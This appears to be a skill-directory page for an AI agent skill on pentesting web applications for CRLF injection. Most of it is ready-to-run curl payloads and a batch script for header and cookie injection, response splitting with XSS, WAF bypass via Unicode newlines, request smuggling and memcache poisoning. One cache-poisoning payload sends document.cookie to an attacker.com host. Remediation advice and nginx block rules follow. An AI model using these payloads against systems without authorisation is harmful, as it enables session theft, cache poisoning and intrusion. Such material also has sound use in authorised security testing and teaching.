# Crlf Injection Pentest

> How to test for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. Use this skill whenever you need to assess HTTP header injection, response splitting, or newline-based bypasses during web security testing. Trigger this skill when the user mentions CRLF, HTTP header injection, response splitting, newline injection, URL encoding attacks, or any scenario involving user input reflected in HTTP headers. Also use when testing for XSS via header injection, cache poisoning, or SSRF through HTTP request smuggling.

- Skill: `abelrguezr/crlf-injection-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/crlf-injection-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/crlf-injection-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/crlf-injection-pentest

---


# CRLF Injection Pentesting Skill

This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (`%0D` or `\r`) and LF (`%0A` or `\n`) characters is reflected in HTTP headers without proper sanitization.

## When to Use This Skill

Use this skill when:
- Testing web applications for HTTP header injection vulnerabilities
- Investigating potential response splitting attacks
- Assessing XSS vectors through header manipulation
- Testing for cache poisoning or request smuggling via CRLF
- Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
- Bypassing WAFs using Unicode newline variants
- Reviewing code that sets HTTP headers from user input

## Understanding CRLF Injection

### What is CRLF?

- **CR (Carriage Return)**: `%0D` or `\r` - moves cursor to beginning of line
- **LF (Line Feed)**: `%0A` or `\n` - moves cursor to next line
- **CRLF**: `%0D%0A` or `\r\n` - standard HTTP line terminator

HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:
1. Terminate the current header early
2. Inject new headers
3. Inject response body content
4. Split responses entirely

### Attack Vectors

| Vector | Impact | Example |
|--------|--------|--------|
| **Response Splitting** | XSS, Cache Poisoning | Inject headers + body |
| **Header Injection** | Cookie planting, CORS bypass | Add `Set-Cookie`, `Access-Control-Allow-Origin` |
| **Open Redirect** | Phishing | Inject `Location:` header |
| **Request Smuggling** | Bypass WAF, SSRF | Inject second HTTP request |
| **Log Poisoning** | Cover tracks | Fake log entries |
| **Memcache Poisoning** | Session hijacking | Inject memcache commands |

## Testing Methodology

### Step 1: Identify Reflection Points

Find where user input appears in HTTP responses:

```bash
# Check for reflected parameters in headers
curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test"

# Look for redirect parameters
curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location"

# Check custom headers
curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"
```

**Common vulnerable parameters:**
- `redirect`, `return_url`, `next`, `goto`, `url`, `dest`
- `callback`, `origin`, `referer`
- `user_agent`, `host`, `x-forwarded-*`
- `cookie`, `session`, `token`
- `page`, `action`, `module`, `view`

### Step 2: Basic CRLF Testing

Test if CRLF characters are reflected:

```bash
# Basic CRLF test
curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected"

# Check response headers for injection
curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Test with URL-encoded CRLF
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
```

**What to look for:**
- New headers appearing in response
- Response body starting earlier than expected
- Multiple `Location:` headers
- Unexpected cookies being set

### Step 3: Response Splitting Tests

Test for HTTP response splitting:

```bash
# Inject new header
curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious"

# Inject cookie
curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true"

# Full response split with XSS
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
```

### Step 4: Advanced Payloads

Use the payload generator script for comprehensive testing:

```bash
# Generate all CRLF payloads
python scripts/generate_crlf_payloads.py > crlf_payloads.txt

# Test specific payload
curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"
```

### Step 5: WAF Bypass Techniques

If basic CRLF is filtered, try Unicode variants:

```bash
# Unicode line separators (often not filtered)
curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected"  # U+2028 LINE SEPARATOR
curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected"  # U+2029 PARAGRAPH SEPARATOR
curl -v "http://target.com/page?input=test%C2%85Header-Test:injected"    # U+0085 NEXT LINE

# Double encoding
curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"

# Mixed case
curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected"

# Alternative encoding
curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"
```

### Step 6: Verify Vulnerability

Confirm the injection worked:

```bash
# Check for injected cookie
http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected"

# Check for new header
http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected"

# Check response body manipulation
http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"
```

## Common Attack Scenarios

### 1. XSS via Response Splitting

```bash
# Basic XSS payload
curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>"

# With Content-Encoding bypass
curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"
```

### 2. Open Redirect + CRLF

```bash
# Inject Location header
curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true"

# Chained with path traversal
curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"
```

### 3. Cache Poisoning

```bash
# Poison cache with malicious response
curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
```

### 4. Request Smuggling

```bash
# Inject second request
curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"
```

### 5. Memcache Poisoning

```bash
# Inject memcache commands (if backend uses memcache)
curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"
```

## Payload Reference

### Basic CRLF Payloads

| Purpose | Payload |
|---------|--------|
| Header injection | `%0D%0AHeader-Name:value` |
| Cookie injection | `%0D%0ASet-Cookie:admin=true` |
| Response split | `%0D%0A%0D%0A` |
| XSS via split | `%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>` |
| Open redirect | `%0D%0ALocation:http://evil.com` |

### Unicode Bypass Payloads

| Character | Unicode | URL Encoded | Purpose |
|-----------|---------|-------------|--------|
| LINE SEPARATOR | U+2028 | `%E2%80%A8` | Bypass WAF |
| PARAGRAPH SEPARATOR | U+2029 | `%E2%80%A9` | Bypass WAF |
| NEXT LINE | U+0085 | `%C2%85` | Bypass WAF |
| LF (alt) | U+560A | `%E5%98%8A` | Double encoding |
| CR (alt) | U+560D | `%E5%98%8D` | Double encoding |

### Filter Bypass Combinations

```bash
# Unicode + CRLF
%E2%80%A8%E2%80%A9Set-Cookie:test

# Double encoding
%250D%250ASet-Cookie:test

# Mixed encoding
%E5%98%8A%E5%98%8DSet-Cookie:test

# With Content-Encoding bypass
%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A
```

## Automated Testing

### Using curl for batch testing

```bash
#!/bin/bash
# Test multiple endpoints for CRLF

ENDPOINTS=(
  "http://target.com/page?input="
  "http://target.com/redirect?url="
  "http://target.com/api?callback="
)

PAYLOADS=(
  "%0D%0ASet-Cookie:injected=true"
  "%0D%0AX-Injected:malicious"
  "%0D%0A%0D%0A<script>alert(1)</script>"
  "%E2%80%A8Set-Cookie:injected=true"
)

for endpoint in "${ENDPOINTS[@]}"; do
  for payload in "${PAYLOADS[@]}"; do
    echo "Testing: $endpoint$payload"
    curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]"
  done
done
```

### Using the payload generator

```bash
# Generate comprehensive payload list
python scripts/generate_crlf_payloads.py --all > payloads.txt

# Test with httpie
while read payload; do
  http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload"
done < payloads.txt
```

## Verification Checklist

After detecting potential CRLF injection:

- [ ] Confirm new headers appear in response
- [ ] Verify cookies can be injected
- [ ] Test if response body can be manipulated
- [ ] Check if XSS payload executes in browser
- [ ] Verify cache poisoning works (test from different IPs)
- [ ] Test request smuggling if applicable
- [ ] Document all working payloads
- [ ] Assess impact (XSS, SSRF, session hijacking, etc.)

## Remediation Guidance

### For Developers

1. **Never reflect user input in headers**
   ```python
   # BAD
   response.headers['X-Custom'] = user_input
   
   # GOOD
   response.headers['X-Custom'] = 'static-value'
   ```

2. **Validate and sanitize input**
   ```python
   # Python example
   import re
   
   def sanitize_header_value(value):
       # Remove CR, LF, and Unicode variants
       return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value)
   ```

3. **Use framework protections**
   - Django: `HttpResponse` automatically sanitizes headers
   - Express: Use `helmet` middleware
   - Spring: Use `HttpServletResponse` with validation

4. **Implement allowlists**
   ```python
   ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org']
   
   def safe_redirect(url):
       if url in ALLOWED_REDIRECTS:
           return redirect(url)
       return redirect('/')
   ```

5. **Update dependencies**
   - RestSharp: ≥110.2.0 (CVE-2024-45302)
   - Refit: >7.2.101 (CVE-2024-51501)
   - Apache APISIX Dashboard: patched version

### For Security Teams

1. **WAF Rules**
   ```nginx
   # Block CRLF in request
   if ($request ~* "%(0d|0a|13|0a)") {
       return 403;
   }
   
   # Block Unicode variants
   if ($request ~* "%(e2%80%a[89]|c2%85)") {
       return 403;
   }
   ```

2. **Monitoring**
   - Alert on CRLF patterns in logs
   - Monitor for unusual header patterns
   - Track response splitting attempts

3. **Testing**
   - Include CRLF tests in CI/CD pipeline
   - Regular penetration testing
   - Bug bounty program with CRLF scope

## Tools

| Tool | Purpose | Link |
|------|---------|------|
| CRLFsuite | Active scanner | https://github.com/Raghavd3v/CRLFsuite |
| crlfuzz | Wordlist fuzzer | https://github.com/dwisiswant0/crlfuzz |
| crlfix | Go request patcher | https://github.com/glebarez/crlfix |
| Auto_Wordlists | CRLF wordlist | https://github.com/carlospolop/Auto_Wordlists |

## References

- [Invicti CRLF Guide](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [Acunetix CRLF Injection](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [PortSwigger Response Queue Poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [Praetorian Unicode Bypass](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
- [CVE-2024-45302 (RestSharp)](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)

## Quick Start

```bash
# 1. Generate payloads
python scripts/generate_crlf_payloads.py > payloads.txt

# 2. Test target
curl -v "http://target.com/page?input=$(head -1 payloads.txt)"

# 3. Check for injection
curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected

# 4. If vulnerable, test impact
curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
```

## Notes

- CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
- Modern frameworks often have built-in protections, but custom code is frequently vulnerable
- Unicode bypasses are increasingly important as WAFs improve
- Always test from multiple angles (URL parameters, headers, cookies, POST data)
- Document findings with proof-of-concept for remediation

